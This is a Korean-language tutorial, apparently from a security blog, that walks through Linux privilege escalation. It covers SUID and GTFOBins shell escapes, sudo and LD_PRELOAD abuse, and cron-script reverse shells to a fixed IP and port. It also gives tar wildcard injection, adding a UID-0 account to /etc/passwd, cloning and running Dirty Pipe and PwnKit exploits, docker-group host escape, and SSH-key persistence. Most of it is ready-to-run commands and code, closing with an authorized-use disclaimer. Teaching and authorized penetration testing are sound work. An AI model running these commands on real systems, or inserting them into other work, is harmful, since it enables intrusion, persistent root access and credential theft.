/보안 기법/Linux 권한 상승 (Privilege Escalation) 기법
시스템 침투2024-12-20

Linux 권한 상승 (Privilege Escalation) 기법

리눅스 시스템에서 일반 사용자 → 루트 권한 획득 방법. SUID/SGID 오용, Sudo 미스설정, Cron 작업, 쓰기 가능한 /etc/passwd, 커널 익스플로잇 등 주요 벡터 분석.

#Privilege Escalation#Linux#SUID#Sudo#Cron#LPE

기본 원리: 리눅스 권한 모델

UID와 GID

리눅스는 모든 프로세스와 파일에 숫자 ID를 부여해 권한을 관리한다.

UID (User ID):
  0     = root (슈퍼유저, 모든 권한)
  1-999 = 시스템 계정 (데몬, 서비스)
  1000+ = 일반 사용자

프로세스의 UID 종류:
  Real UID (RUID)     = 프로세스를 실행한 실제 사용자
  Effective UID (EUID) = 권한 확인에 사용되는 UID (핵심!)
  Saved UID (SUID)    = EUID를 일시적으로 변경 후 복원용

파일 권한 확인 시 커널은 EUID를 확인함

권한 상승의 목표: EUID를 0(root)으로 바꾸는 것

SUID/SGID 비트

ls -la /usr/bin/passwd
# -rwsr-xr-x 1 root root 59880 Feb 6 passwd
#    ^
#    s = SUID 비트가 설정됨

SUID가 설정된 파일은 파일 소유자의 EUID로 실행된다. /usr/bin/passwd의 소유자는 root이므로, 일반 사용자가 실행해도 root 권한으로 /etc/shadow를 수정할 수 있다.

공격자가 노리는 것: SUID가 설정된 root 소유 바이너리에서 쉘을 띄우는 방법을 찾는 것.


1. 초기 열거 (Enumeration)

초기 침투 후 가장 먼저 할 일은 현재 환경을 파악하는 것이다.

# ─── 현재 컨텍스트 ───
id                         # uid, gid, groups 확인
whoami                     # 현재 사용자명
sudo -l                    # 비밀번호 없이 실행 가능한 sudo 명령어
env                        # 환경 변수 (PATH 주목)

# ─── 시스템 정보 ───
uname -a                   # 커널 버전 (익스플로잇 검색용)
cat /etc/os-release        # OS 배포판 및 버전
hostname

# ─── 사용자 및 그룹 ───
cat /etc/passwd | grep -v 'nologin\|false'  # 쉘이 있는 계정들
cat /etc/group             # 그룹 목록
id                         # 내가 속한 그룹 확인 (docker, sudo, disk 주목!)

# ─── 프로세스 ───
ps aux                     # 실행 중인 모든 프로세스
ps aux | grep root         # root로 실행 중인 프로세스 (서비스 취약점 탐색)

# ─── 네트워크 ───
netstat -tlnp              # 로컬에만 열린 포트 (내부 서비스, 피벗 포인트)
ss -tlnp                   # 더 현대적인 netstat

# ─── 파일 권한 ───
find / -writable -not -path "/proc/*" 2>/dev/null   # 쓰기 가능한 파일
find / -perm -4000 -type f 2>/dev/null               # SUID 파일
find / -perm -2000 -type f 2>/dev/null               # SGID 파일

# ─── 자동화 도구 (가장 빠름) ───
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
./linenum.sh

2. SUID/SGID 파일 오용

GTFOBins — 정상 바이너리의 비정상적 사용

GTFOBins는 정상 시스템 바이너리를 파일 읽기, 쉘 획득 등에 사용하는 방법을 정리한 데이터베이스다. SUID가 설정된 경우를 따로 분류하고 있다.

# SUID 파일 목록 찾기
find / -perm -4000 -type f 2>/dev/null
# /usr/bin/find
# /usr/bin/vim.basic
# /usr/bin/nmap  ← 오래된 버전만
# /usr/bin/python3.8
# 등등...
# ─── find에 SUID ───
/usr/bin/find . -exec /bin/sh -p \; -quit
# -exec: 각 결과에 대해 명령 실행
# /bin/sh -p: EUID를 유지하는 모드 (RUID != EUID일 때 EUID 유지)
# → root의 sh 실행!

# ─── vim에 SUID ───
vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
# vim의 Python 플러그인으로 셸 실행

# ─── less에 SUID ───
/usr/bin/less /etc/passwd
!/bin/sh                  # less 내부에서 ! 로 쉘 명령 실행

# ─── python에 SUID ───
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# ─── cp에 SUID ───
# /etc/passwd에 root 계정 추가
echo "hax0r:$(openssl passwd -6 password):0:0:root:/root:/bin/bash" >> /tmp/passwd_new
cp /tmp/passwd_new /etc/passwd
su hax0r  # 비밀번호: password

# ─── nmap (구버전)에 SUID ───
nmap --interactive
!sh                        # nmap 인터랙티브 모드에서 쉘

3. Sudo 미스설정

# sudo -l 출력 예시
User hacker may run the following commands on target:
    (ALL) NOPASSWD: /usr/bin/vim
    (root) NOPASSWD: /usr/bin/python3 /opt/backup.py
    (ALL) NOPASSWD: /bin/cp
    (root) /usr/bin/less

케이스 1: 텍스트 편집기 (vim, nano, vi)

sudo vim -c '!sh'          # vim 내부에서 쉘 실행
sudo nano                  # Ctrl+R, Ctrl+X, 명령어 입력
sudo vi -c ':!sh'

케이스 2: 스크립트 실행 권한

# sudo /usr/bin/python3 /opt/backup.py가 허용된 경우
# /opt/backup.py가 쓰기 가능하다면?
ls -la /opt/backup.py     # 파일 권한 확인

# 쓰기 가능하면 스크립트 교체
echo 'import os; os.setuid(0); os.system("/bin/bash -p")' > /opt/backup.py
sudo /usr/bin/python3 /opt/backup.py   # root 쉘 획득

케이스 3: LD_PRELOAD 환경변수

# sudo -l에 env_keep += LD_PRELOAD 가 있는 경우
# LD_PRELOAD: 모든 프로그램이 시작할 때 이 라이브러리를 먼저 로드

# 악성 공유 라이브러리 작성
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    // 라이브러리 로드 시 자동 실행
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
EOF

gcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfiles
sudo LD_PRELOAD=/tmp/evil.so /usr/bin/less /etc/passwd
# less 시작 시 evil.so가 먼저 로드 → root 쉘

4. Cron 작업 오용

기본 원리

Cron은 정기적으로 명령을 실행하는 스케줄러다. root 권한으로 실행되는 스크립트를 수정할 수 있다면 root 코드 실행이 가능하다.

# cron 설정 확인
cat /etc/crontab              # 시스템 크론
ls -la /etc/cron.d/           # 추가 크론 설정
ls -la /etc/cron.hourly/      # 매시간 실행
ls -la /etc/cron.daily/       # 매일 실행
crontab -l                    # 현재 사용자 크론
crontab -l -u root 2>/dev/null  # root 크론 (권한 필요)

# pspy로 실시간 프로세스 모니터링 (크론이 숨겨져 있어도 탐지)
./pspy64
# 1분마다 새 프로세스가 실행되는 것 관찰

케이스 1: 쓰기 가능한 스크립트

# /etc/crontab:
# * * * * * root /opt/monitor.sh

# monitor.sh의 권한 확인
ls -la /opt/monitor.sh
# -rwxrwxrwx 1 root root ...  ← 모두 쓰기 가능!

# 리버스 쉘 삽입
echo '#!/bin/bash' > /opt/monitor.sh
echo 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1' >> /opt/monitor.sh

# 1분 내로 root 리버스 쉘 수신
nc -nlvp 4444

케이스 2: PATH 하이재킹

# /etc/crontab:
# PATH=/tmp:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# * * * * * root backup.sh   ← 절대 경로 없음!

# PATH에서 /tmp가 먼저이므로 /tmp/backup.sh가 먼저 실행됨!
cat > /tmp/backup.sh << 'EOF'
#!/bin/bash
chmod +s /bin/bash     # bash에 SUID 설정
EOF
chmod +x /tmp/backup.sh

# 1분 후
/bin/bash -p           # SUID bash로 root 쉘

케이스 3: 와일드카드 인젝션

# /etc/crontab:
# * * * * * root tar czf /backup/web.tar.gz /var/www/html/*
#                                                           ^ 와일드카드!

# tar는 파일명을 옵션으로 해석할 수 있음
# touch로 옵션처럼 생긴 파일명 생성
cd /var/www/html
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'

cat > shell.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
EOF
chmod +x shell.sh

# tar가 실행되면: tar czf ... --checkpoint=1 --checkpoint-action=exec=sh shell.sh
# → shell.sh가 root 권한으로 실행됨

5. /etc/passwd 쓰기 가능

/etc/passwd에 쓰기 권한이 있다면 root 계정을 직접 추가할 수 있다.

# 쓰기 권한 확인
ls -la /etc/passwd
# -rw-rw-r-- 1 root root ...  ← 그룹 쓰기 가능 (취약!)

# /etc/passwd 형식: username:password_hash:UID:GID:comment:home:shell
# 비밀번호가 'x'면 /etc/shadow를 참조, 직접 hash를 넣으면 shadow 무시

# SHA-512 해시 생성 (비밀번호: password)
openssl passwd -6 -salt salt password
# $6$salt$xxxxxxxxxxx...

# root 계정 추가 (UID=0, GID=0)
echo 'hax0r:$6$salt$HASH:0:0:root:/root:/bin/bash' >> /etc/passwd
su hax0r   # 비밀번호: password → root 쉘 획득

6. 커널 익스플로잇

커널 버전이 취약하다면 로컬 권한 상승(LPE) 익스플로잇을 사용할 수 있다.

# 커널 버전 확인
uname -a
# Linux target 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018

# 버전 기반 검색
searchsploit linux kernel 4.4.0
searchsploit local privilege escalation ubuntu 18.04

# 주요 LPE CVE들
# CVE-2021-4034: PwnKit — pkexec 취약점 (거의 모든 Linux 영향)
# CVE-2021-3156: Baron Samedit — sudo 힙 오버플로우 (sudo < 1.9.5p2)
# CVE-2016-5195: Dirty COW — Copy-on-Write 경쟁 조건 (4.8.3 미만)
# CVE-2022-0847: Dirty Pipe — 파이프 오염으로 임의 파일 쓰기 (5.16.11 미만)
# Dirty Pipe (CVE-2022-0847) — 5.16.11 미만 커널
# 원리: 파이프 버퍼의 플래그가 올바르게 초기화되지 않아 read-only 파일에 쓰기 가능

git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
cd CVE-2022-0847-DirtyPipe-Exploits
gcc exploit-1.c -o exploit
./exploit  # /etc/passwd 덮어써서 root 획득

# PwnKit (CVE-2021-4034) — 거의 모든 Linux 영향
git clone https://github.com/berdav/CVE-2021-4034
cd CVE-2021-4034
make
./cve-2021-4034  # root 쉘 획득

7. Docker 그룹 탈출

# docker 그룹 멤버인지 확인
id | grep docker
# uid=1000(hacker) gid=1000(hacker) groups=...,998(docker),...  ← docker 그룹!

# docker 그룹 = root와 동등한 권한
# 호스트 파일시스템을 마운트해서 탈출
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# 이제 호스트의 / 를 /mnt에 마운트하고 chroot로 진입
# → 호스트 파일시스템에 완전한 root 접근

# 특정 파일만 읽기
docker run -v /etc/shadow:/tmp/shadow --rm alpine cat /tmp/shadow
# /etc/shadow (root만 읽기 가능) 내용 출력

# SSH 키 추가로 영구 접근
docker run -v /root:/mnt --rm alpine sh -c "echo 'ssh-rsa AAAA...' >> /mnt/.ssh/authorized_keys"

자동화 도구

# LinPEAS — 가장 포괄적인 열거 도구
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# 출력 색상:
# 빨강/노랑 배경: 높은 우선순위 (즉시 확인)
# 녹색: 흥미로운 발견
# 파랑: 일반 정보

# pspy — 실시간 프로세스 모니터링 (root 불필요)
# 숨겨진 cron 작업, 짧게 실행되는 프로세스 탐지
./pspy64 -p -i 50   # 50ms 간격으로 모니터링

# Linux Smart Enumeration (lse.sh) — 등급별 상세 출력
./lse.sh -l 1       # 기본 확인
./lse.sh -l 2       # 더 자세한 확인

핵심 체크리스트

우선순위 높은 벡터:
□ sudo -l → sudo 허용 명령어 + GTFOBins 확인
□ SUID 파일 → GTFOBins + 커스텀 바이너리 분석
□ docker/lxd/disk 그룹 멤버십 → 즉시 탈출 가능
□ /etc/passwd 쓰기 가능 → 직접 계정 추가
□ 쓰기 가능한 /etc/sudoers → sudo 권한 추가

중간 우선순위:
□ root 권한 cron 스크립트 쓰기 가능?
□ cron PATH 하이재킹 가능?
□ 커널 버전 → 공개 LPE 존재?
□ 환경변수 (LD_PRELOAD, PATH) 오용

항상 확인:
□ 실행 중인 root 서비스 → 서비스별 취약점
□ /home/* 에 SSH 키, .bash_history, 설정 파일
□ 데이터베이스 설정 파일에 자격증명
□ Git 저장소, 환경 파일 (.env)

⚠️ 이 글의 내용은 교육 및 허가된 침투 테스트 목적으로만 사용해야 합니다. 무단으로 타인의 시스템에 적용하는 것은 법적 처벌을 받을 수 있습니다.